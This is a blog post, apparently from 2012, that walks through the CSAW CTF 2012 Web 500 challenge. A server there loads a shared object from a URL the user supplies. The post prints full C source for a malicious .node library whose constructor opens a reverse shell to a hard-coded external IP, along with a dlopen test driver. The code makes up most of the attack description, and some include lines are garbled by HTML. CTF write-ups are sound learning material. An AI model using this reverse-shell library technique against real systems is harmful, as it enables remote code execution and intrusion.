Wednesday, October 3, 2012

CSAW CTF 2012 Qualifiers - Web 500

This challenge was a ton of ajax and whatnot, so after hunting around,  real thing we’re after is that you can externderp in the menu! What is seems to do is use the following POST request when doing a heartbeat check:
{
   "message":“extenderp”,
   “extenderpurl” : “http://127.0.0.1:8080/test/extenderptest.node”
}
Well, that means that the server is loading something which we have specified. As such, what if we point it to our own file? So I uploaded some executables, hoping they'd execute, to an internet-facing webserver and... ...It says it can’t derp it or something. I can't just send an arbitrary execuatable file. Thus, let's look into what is an extenderptest.node? I downloaded the extenderptest.node file and ran the Linux file command on it:
extenderptest.node: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=0×49ed3236d9e68f7965e90064d05ea2ed2778754b, not stripped
Its a shared 64-bit object file. Shared object files are files which a linker will load into a binary and use. Well, loadable object files are allowed to have initialization functions which are always run first.

 Let's recap - using an ajax POST request, the remote server will download a specified shared object file, include it in whatever program they have running, and send back the output of the program.

What do we have now? We have the ability to serve to the server a shared library file of our choice which by design is allowed to have init functions. We have arbitrary code execution!

 Of course, what i did next was to make a fake externderptest.node shared object file with an init function which loads a reverse shell. Then, look in the /opt/noderp/htdocs/key and winning!

After viewing other solutions to solving this, I must admit that we simply went the route of a library main in C rather than LSE who made a handler for the test() function in C++.

extenderptestPWN.node.c:
1  #include <arpa inet.h="inet.h"> 2 #include <assert .h=".h">
3  #include <errno .h=".h">
4  #include <netinet in.h="in.h">
5  #include <signal .h=".h">
6  #include <stdlib .h=".h">
7  #include <stdio .h=".h">
8  #include <string .h=".h">
9  #include <sys types.h="types.h">
10 #include <sys socket.h="socket.h">
11 #include <sys wait.h="wait.h">
12 #include <netdb .h=".h">
13 #include <unistd .h=".h">
14 #define MAX 512
15 void __attribute__ ((constructor)) my_load(void);
16 void shell()
17 {
18    int sockfd;
19    int sockfd2;
20    struct sockaddr_in remaddr;
21    struct sockaddr_in remaddr2;
22    char GET[] = "GET /directorytocmd.txt/cmd.txt\n";
23    char RECV[MAX];
24    char IP[] = "66.85.131.82";
26    sockfd = socket(PF_INET, SOCK_STREAM, 0);
27
28    remaddr.sin_family = AF_INET;
29    remaddr.sin_port = htons(9000);
30    remaddr.sin_addr.s_addr = inet_addr(IP);
31    memset(remaddr.sin_zero, 0, sizeof(remaddr.sin_zero));
32
33    connect(sockfd, (struct sockaddr *)&amp;remaddr, sizeof(struct sockaddr));
34    dup2(sockfd, 0); dup2(sockfd, 1); dup2(sockfd, 2);
35    execl("/bin/bash", "/bin/bash", "-i", NULL);
36    close(sockfd);
37 }
38 void my_load(void)
39 {
40    printf("my_load\n");
41    shell();
42 }
Example driver for the pwn library to make sure it was written right:
1 #include <dlfcn.h>
2 #include <stdio.h>
3 int main( int argc, char** argv[] )
4 {
5    void* foo = dlopen( "/home/b1tSt0rm/csaw2012/libbob.so.1.0.1", RTLD_NOW );
6    printf("%p\n", foo);
7    return 0;
8 }

No comments:

Post a Comment